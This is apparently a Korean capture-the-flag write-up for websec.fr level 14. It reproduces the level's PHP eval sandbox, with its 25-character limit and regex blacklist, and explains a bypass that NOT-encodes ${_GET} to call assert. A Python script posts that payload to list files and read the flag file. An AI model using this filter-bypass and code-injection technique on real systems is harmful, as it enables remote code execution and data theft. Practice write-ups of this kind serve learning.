source.php


<?php 
ini_set
('display_errors''on');
ini_set('error_reporting'E_ALL E_DEPRECATED);

if (isset (
$_POST['code']) && is_string ($_POST['code'])) {
    
$code substr ($_POST['code'], 025);
} else {
    
$code "print('I hate PHP');";
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>#WebSec Level14</title>
    <link rel="stylesheet" href="../static/bootstrap.min.css" />
    <link rel="stylesheet" href="../static/websec.css" />
</head>
<!-- Thanks to an anonymous contributor for this level. -->
    <body>
        <div id="main">
            <div class="container">
                <div class="row">
                    <h1>Level Fourteen <small>- Securely Execute Code</small></h1>
                </div>
                <div class="row">
                    <p class="lead">
                        Don't you love these online PHP executing services like <a href="https://3v4l.org">3v4l.org</a>?<br>
                        Unfortunately they're insecure as hell, so we made <a href="source.php">our own</a>
                        where we only allow <mark>echo</mark>, <mark>print</mark>, <mark>strlen</mark>, <mark>strcmp</mark>, <mark>strncmp</mark>.<br>
                        Oh and you're limited to <code>25</code> chars only. Try it out!
                    </p>
                    <!-- If I had to guess, I would say that the $flag is in sha1($flag). -->
                </div>
            </div>
            <div class="container">
                <div class="row">
                    <form method="post" class="form-inline">
                        <div class="form-group">
                            <label for="code">Code:</label>
                            <input type="text" class="form-control" id="code" name="code" value="<?php echo htmlspecialchars ($code);?>" required maxlength=25>
                        </div>
                        <button type="submit" class="btn btn-default">Execute!</button>
                    </form>
                </div>
                <div class="row">
<br>
<pre>
<?php

$funcs_internal 
get_defined_functions()['internal'];

/* lets allow some secure funcs here */
unset ($funcs_internal[array_search('strlen'$funcs_internal)]);
unset (
$funcs_internal[array_search('print'$funcs_internal)]);
unset (
$funcs_internal[array_search('strcmp'$funcs_internal)]);
unset (
$funcs_internal[array_search('strncmp'$funcs_internal)]);

$funcs_extra = array ('eval''include''require''function');
$funny_chars = array ('\.''\+''-''\*''"''`''\[''\]');
$variables = array ('_GET''_POST''_COOKIE''_REQUEST''_SERVER''_FILES''_ENV''HTTP_ENV_VARS''_SESSION''GLOBALS');

$blacklist array_merge($funcs_internal$funcs_extra$funny_chars$variables);

$insecure false;
foreach (
$blacklist as $blacklisted) {
    if (
preg_match ('/' $blacklisted '/im'$code)) {
        
$insecure true;
        break;
    }
}

if (
$insecure) {
    echo 
'Insecure code detected!';
} else {
    eval (
$code);
}

?>
</pre>
            </div>
        </div>
</div>
</body>
</html>


php sandbox류인데 필터길이가 25자로 상당히 짧다. 이것저것해봤는데 ${_GET}{0}(${_GET}{0}); 요게 길이가 딱 맞아서 이거사용해줬다. _GET부분분 not 연산시켜주면 되고 이걸로 assert써서 플래그 파일명 따서 코드 읽어주면 된다.


exploit.py


import requests


def exploit(payload,func,param):

    url = "https://websec.fr/level14/index.php?0="+func+"&1="+param

    data = {"code":payload}

    result = requests.post(url,data=data).text

    print result



payload = "${~\xA0\xB8\xBA\xAB}{0}(${~\xA0\xB8\xBA\xAB}{1});"

func = "assert"

param = "var_dump(scandir('.'))"

exploit(payload,func,param) 


param = "var_dump(file_get_contents('0e7efcd6e821f4bb90af4e4c439001944c1769da.php'))"

exploit(payload,func,param)



'Wargame > websec.fr' 카테고리의 다른 글

websec.fr hard level 07  (0) 2019.08.23
websec.fr medium level 31  (0) 2019.08.23
websec.fr medium level 18  (0) 2019.08.23
websec.fr medium level 09  (0) 2019.08.23
websec.fr medium level 05  (0) 2019.08.23
블로그 이미지

JeonYoungSin

메모 기록용 공간

,